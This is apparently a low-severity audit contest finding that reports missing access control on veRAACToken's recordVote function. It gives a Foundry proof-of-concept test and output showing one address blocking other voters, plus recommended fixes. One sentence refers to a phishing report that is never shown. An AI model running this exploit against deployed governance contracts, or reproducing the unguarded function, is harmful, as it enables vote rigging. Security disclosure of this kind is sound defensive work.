Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: low
Valid

Inadequate Access Control in `recordVote` Function. Enables Governance Voting Rigging and Voter Denial of Service

Summary

In the veRAACToken contract, there exists a function named recordVote that is intended to record a user's vote for a proposal. This function requires only the voter's address and the proposal ID. If the voter has not already cast a vote—as determined by the _hasVotedOnProposal mapping—the function records the vote by setting the corresponding entry in this mapping to true and emits a VoteCast event. This design is intended to prevent double voting and ensure that each voter’s participation is recorded only once.

However, the recordVote function is implemented without critical access control modifiers such as nonReentrant, whenNotPaused, or a specific access control modifier (e.g., onlyAdmin or onlyGovernance). As a result, the function is publicly accessible, creating a significant security vulnerability. Malicious actors can exploit this oversight to manipulate the governance voting mechanism by recording votes on behalf of any voter, thereby rigging the outcome of proposals. This flaw not only jeopardizes the integrity of the governance process by distorting the voting quorum but also creates a denial of service (DoS) for legitimate voters, as their ability to cast votes may be entirely blocked. Ultimately, this vulnerability can erode trust in the protocol, damage its market reputation, and lead to reduced user participation.

Vulnerability Details

The recordVote function is defined as follows:

function recordVote(address voter, uint256 proposalId) external {
// @info: a proposer can put any voter's address to eliminate the voter from voting
// @danger: anyone (malicious proposer) can eliminate rivals
if (_hasVotedOnProposal[voter][proposalId]) revert AlreadyVoted();
_hasVotedOnProposal[voter][proposalId] = true;
uint256 power = getVotingPower(voter);
emit VoteCast(voter, proposalId, power);
}

In this implementation, the function does not enforce any restrictions on who can call it. The absence of access control modifiers means that any external entity can invoke recordVote and specify an arbitrary voter address along with a proposal ID. Consequently, a malicious actor could intentionally mark legitimate voters as having already voted, effectively preventing them from participating in the governance process. This exploitation would enable an attacker to rig the voting results by eliminating rivals and manipulating the voting quorum.

Moreover, by marking voters as having voted when they have not, the function creates a denial of service (DoS) scenario for those voters. Legitimate voters may be unable to cast their votes if their addresses are falsely recorded as having already participated. This not only undermines the democratic process but also significantly degrades the overall integrity and reliability of the governance mechanism within the protocol.

Proof of Concept

To demonstrate this vulnerability, the following Proof of Concept (PoC) is provided. The PoC is written using the Foundry tool.

  1. Step 1: Create a Foundry project and place all the contracts in the src directory.

  2. Step 2: Create a test directory and a mocks folder within the src directory (or use an existing mocks folder).

  3. Step 3: Create all necessary mock contracts, if required.

  4. Step 4: Create a test file (with any name) in the test directory.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {veRAACToken} from "../src/core/tokens/veRAACToken.sol";
import {RAACToken} from "../src/core/tokens/RAACToken.sol";
import {TimeWeightedAverage} from "../src/libraries/math/TimeWeightedAverage.sol";
import {LockManager} from "../src/libraries/governance/LockManager.sol";
import {IveRAACToken} from "../src/interfaces/core/tokens/IveRAACToken.sol";
contract VeRAACTokenTest is Test {
veRAACToken veRaacToken;
RAACToken raacToken;
address RAAC_OWNER = makeAddr("RAAC_OWNER");
address RAAC_MINTER = makeAddr("RAAC_MINTER");
uint256 initialRaacSwapTaxRateInBps = 200; // 2%, 10000 - 100%
uint256 initialRaacBurnTaxRateInBps = 150; // 1.5%, 10000 - 100%
address VE_RAAC_OWNER = makeAddr("VE_RAAC_OWNER");
address ALICE = makeAddr("ALICE");
address BOB = makeAddr("BOB");
address CHARLIE = makeAddr("CHARLIE");
address DEVIL = makeAddr("DEVIL");
function setUp() public {
raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
vm.startPrank(VE_RAAC_OWNER);
veRaacToken = new veRAACToken(address(raacToken));
vm.stopPrank();
}
}
  1. Step 5: Add the following test PoC in the test file, after the setUp function.

function testProposerCanEliminateVoters() public {
uint256 LOCK_AMOUNT = 200_000e18;
uint256 LOCK_DURATION = 365 days;
vm.startPrank(RAAC_OWNER);
raacToken.setMinter(RAAC_MINTER);
vm.stopPrank();
// let's say there're some voters having voting power
vm.startPrank(RAAC_MINTER);
raacToken.mint(ALICE, LOCK_AMOUNT * 4);
raacToken.mint(BOB, LOCK_AMOUNT * 4);
raacToken.mint(CHARLIE, LOCK_AMOUNT * 4);
raacToken.mint(DEVIL, LOCK_AMOUNT * 4);
raacToken.mint(address(4), 6_000_000e18);
raacToken.mint(address(5), 6_000_000e18);
raacToken.mint(address(6), 6_000_000e18);
raacToken.mint(address(7), 6_000_000e18);
raacToken.mint(address(8), 6_000_000e18);
raacToken.mint(address(9), 6_000_000e18);
raacToken.mint(address(10), 6_000_000e18);
raacToken.mint(address(11), 6_000_000e18);
raacToken.mint(address(12), 7_200_000e18);
raacToken.mint(address(13), 7_200_000e18);
raacToken.mint(address(14), 7_200_000e18);
raacToken.mint(address(15), 7_200_000e18);
vm.stopPrank();
uint256 veRaacAmount = veRaacToken.calculateVeAmount(20_000_000e18 * 4, LOCK_DURATION);
console.log("veRaacAmount : ", veRaacAmount); // 20M
// total voting power is: 20_000_000e18 or 20M
// let's say by default required quorum is: 4%
// so 4% of 20M is: 800_000e18 or 800K will be required quorum
vm.startPrank(ALICE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT * 4);
veRaacToken.lock(LOCK_AMOUNT * 4, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(BOB);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT * 4);
veRaacToken.lock(LOCK_AMOUNT * 4, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(CHARLIE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT * 4);
veRaacToken.lock(LOCK_AMOUNT * 4, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(DEVIL);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT * 4);
veRaacToken.lock(LOCK_AMOUNT * 4, LOCK_DURATION);
vm.stopPrank();
for (uint256 i = 4; i <= 11; i++) {
vm.startPrank(address(uint160(i)));
raacToken.approve(address(veRaacToken), 6_000_000e18);
veRaacToken.lock(6_000_000e18, LOCK_DURATION);
vm.stopPrank();
}
for (uint256 i = 12; i <= 15; i++) {
vm.startPrank(address(uint160(i)));
raacToken.approve(address(veRaacToken), 7_200_000e18);
veRaacToken.lock(7_200_000e18, LOCK_DURATION);
vm.stopPrank();
}
uint256 totalVotingPower = veRaacToken.getTotalVotingPower();
console.log("totalVotingPower : ", totalVotingPower);
// let's assume DEVIL Proposed a proposal with proposal ID 1
// and rquired quorum 4% is: 800K
// devil knows about the buggy recordVote function
// which lacks proper access control.
// devil executes the recordVote function on
// behalf of others and his-self
// and let's say ALICE, BOB, and CHARLIE cast their vote in favour of devil
vm.startPrank(DEVIL);
veRaacToken.recordVote(DEVIL, 1);
veRaacToken.recordVote(ALICE, 1);
veRaacToken.recordVote(BOB, 1);
veRaacToken.recordVote(CHARLIE, 1);
vm.stopPrank();
// devil quorum requirement meets
// devil looks into block explorer and finds all voters having voting power...
// now devil will record all other voters having voting power
for (uint256 i = 4; i <= 15; i++) {
vm.startPrank(DEVIL);
veRaacToken.recordVote(address(uint160(i)), 1);
vm.stopPrank();
}
// Protocol will think that everybody have voted because _hasVotedOnProposal gives
// True for all voters.
// So devil successfully eliminated voters which are not necessary for quorum and could go against him.
for (uint256 i = 4; i <= 11; i++) {
uint256 currentUserVotingPower = veRaacToken.getVotingPower(address(uint160(i)));
console.log("Voting Power of ", i, " : ", currentUserVotingPower);
assertEq(currentUserVotingPower, veRaacToken.calculateVeAmount(6_000_000e18, LOCK_DURATION));
}
for (uint256 i = 12; i <= 15; i++) {
uint256 currentUserVotingPower = veRaacToken.getVotingPower(address(uint160(i)));
console.log("Voting Power of ", i, " : ", currentUserVotingPower);
assertEq(currentUserVotingPower, veRaacToken.calculateVeAmount(7_200_000e18, LOCK_DURATION));
}
uint256 aliceVotingPower = veRaacToken.getVotingPower(ALICE);
uint256 bobVotingPower = veRaacToken.getVotingPower(BOB);
uint256 charlieVotingPower = veRaacToken.getVotingPower(CHARLIE);
uint256 devilVotingPower = veRaacToken.getVotingPower(DEVIL);
uint256 calculatedVotingPower = veRaacToken.calculateVeAmount(LOCK_AMOUNT * 4, LOCK_DURATION);
assertEq(calculatedVotingPower, aliceVotingPower);
assertEq(calculatedVotingPower, bobVotingPower);
assertEq(calculatedVotingPower, charlieVotingPower);
assertEq(calculatedVotingPower, devilVotingPower);
uint256 expectedQuorum = (totalVotingPower * 4) / 100;
uint256 quorum = aliceVotingPower + bobVotingPower + charlieVotingPower + devilVotingPower;
assertEq(quorum, expectedQuorum);
}
  1. Step 6: To run the test, execute the following commands in your terminal:

forge test --mt testProposerCanEliminateVoters -vv
  1. Step 7: Review the output. The expected output should indicate that malicious actor can rig the Governance voting by providing any voter and any proposal ID.

[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/VeRAACTokenTest.t.sol:VeRAACTokenTest
[PASS] testProposerCanEliminateVoters() (gas: 4424583)
Logs:
veRaacAmount : 20000000000000000000000000
totalVotingPower : 20000000000000000000000000
Voting Power of 4 : 1500000000000000000000000
Voting Power of 5 : 1500000000000000000000000
Voting Power of 6 : 1500000000000000000000000
Voting Power of 7 : 1500000000000000000000000
Voting Power of 8 : 1500000000000000000000000
Voting Power of 9 : 1500000000000000000000000
Voting Power of 10 : 1500000000000000000000000
Voting Power of 11 : 1500000000000000000000000
Voting Power of 12 : 1800000000000000000000000
Voting Power of 13 : 1800000000000000000000000
Voting Power of 14 : 1800000000000000000000000
Voting Power of 15 : 1800000000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.49ms (6.69ms CPU time)
Ran 1 test suite in 17.21ms (10.49ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As demonstrated, the test confirms that the malicious actors can rig the Governance Proposal Voting and this hints that voters afterwards will face a Denial of Service (DoS).

Impact

  • Governance Manipulation:
    The lack of proper access control in the recordVote function permits any external actor to record votes on behalf of any voter. This capability can be exploited to manipulate governance outcomes by marking certain voters as having already cast their ballots, even if they have not. Such unauthorized actions can fundamentally alter the balance of voting power within the protocol.

  • Distortion of Voting Quorum:
    By falsely recording votes, a malicious actor can artificially inflate the number of votes already cast. This misrepresentation may lead to a higher perceived participation rate, thereby distorting the quorum requirements. As a result, legitimate proposals may be incorrectly deemed to have failed due to a reduced number of actual votes, or conversely, proposals may pass under skewed conditions that do not reflect the genuine consensus of the community.

  • Voter Denial of Service:
    Malicious manipulation of the vote-recording mechanism can prevent legitimate voters from casting their votes. When a voter’s address is falsely flagged as having already voted, it creates a denial of service (DoS) for that voter. This effectively blocks the affected users from participating in governance, further skewing the voting process in favor of attackers.

  • Erosion of Trust in Governance:
    The ability for any party to tamper with vote records severely undermines confidence in the integrity of the governance process. Stakeholders may perceive the system as vulnerable to manipulation, leading to decreased participation and a loss of trust in the protocol's decision-making framework.

  • Potential Market Reputation Damage:
    If the governance process is compromised, the protocol’s reputation in the broader market can suffer significantly. Investors and users may be deterred from participating in a system where the fairness and accuracy of governance decisions are in question, which could have long-term negative implications on the protocol’s viability and market value.

Tools Used

  • Manual Review

  • Foundry

  • Console Log (Foundry)

  • Chisel (Foundry)

Recommendations

  • Implement Access Control Modifiers:
    Introduce appropriate access control modifiers such as nonReentrant and whenNotPaused to secure the recordVote function. Additionally, restrict access by incorporating a modifier like onlyAdmin or onlyGovernance to ensure that only authorized entities can record votes.

  • Validate Caller Authorization:
    Modify the function to verify that the caller is an authorized entity (for example, a designated voting module or the governance contract itself) rather than allowing public access. This will prevent unauthorized vote recording and ensure that only genuine votes are counted.

Below is a detailed vulnerability report addressing the phishing scenario in the veRAACToken contract, where a malicious token holder ("Devil") can exploit the unmodified approval mechanism to phish another user ("Alice") for governance tokens and voting power.


Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::recordVote lacks access control, allowing anyone to emit fake events

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::recordVote lacks access control, allowing anyone to emit fake events

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.